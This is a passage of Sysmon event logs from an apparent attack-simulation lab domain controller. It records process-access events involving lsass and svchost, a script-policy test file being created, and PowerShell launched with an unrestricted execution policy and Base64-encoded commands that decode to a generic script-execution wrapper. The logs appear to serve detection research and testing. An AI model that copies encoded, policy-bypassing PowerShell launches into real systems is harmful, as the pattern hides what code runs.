C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.211","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00102F5C0700}","TargetProcessId":"3640","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4856,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.211\r\nProcessGuid: {90617006-415E-5F2D-0000-00102F5C0700}\r\nProcessId: 3640\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_5itpgss3.0h5.ps1\r\nCreationUtcTime: 2020-08-07 11:56:14.211","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.211","ProcessGuid":"{90617006-415E-5F2D-0000-00102F5C0700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_5itpgss3.0h5.ps1","CreationUtcTime":"2020-08-07 11:56:14.211","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4857,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.258\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00102F5C0700}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.258","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00102F5C0700}","TargetProcessId":"3640","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4858,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.258\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-415E-5F2D-0000-00102F5C0700}\r\nTargetProcessId: 3640\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.258","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-415E-5F2D-0000-00102F5C0700}","TargetProcessId":"3640","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4859,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.314\r\nProcessGuid: {90617006-415E-5F2D-0000-0010A1680700}\r\nProcessId: 4428\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-415E-5F2D-0000-00102F5C0700}\r\nParentProcessId: 3640\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:14.314","ProcessGuid":"{90617006-415E-5F2D-0000-0010A1680700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-415E-5F2D-0000-00102F5C0700}","ParentProcessId":"3640","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","EventReceivedTime":"2020-08-07 11:56:14","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4860,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:14.305\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-00102F5C0700}\r\nSourceProcessId: 3640\r\nSourceThreadId: 3012\r\nSourceImage: 